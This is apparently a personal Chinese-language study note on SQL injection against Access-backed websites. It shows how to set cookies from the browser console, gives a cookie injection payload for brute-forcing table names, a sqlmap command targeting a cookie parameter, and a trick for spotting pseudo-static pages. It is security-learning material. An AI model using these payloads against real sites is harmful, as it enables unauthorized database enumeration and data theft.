Access数据库注入

COOKIE注入

设置cookie的方式：

1.F12->应用程序->cookie修改或设置对应值
2.利用javascript
	F12->console
	比如cookie的主要字段是id=1：
	document.cookie="id"+escape("1")，其中escape函数是对其进行url编码

cookie注入（Access数据库）：

document.cookie="id="+escape("1 and exists (select * from 表名)")
因为Access数据库只有一个库，我们只需要爆破表名和字段名，如果存在那么界面就会显示正常

• 利用sqlmap

sqlmap -u url --cookie"id=1" --level 2

偏移注入

伪静态

• 如果判断一个网页为伪静态

伪静态一般都是.html的格式，F12->cosole->输入document.lastModified
执行后如果显示的是当前的时间，那么说明是伪静态的页面

偏移注入

使用情况：知道表名，不知道字段

库.表.* ->表示指定库指定表下的所有字段
表.*->表示指定表里的所有字段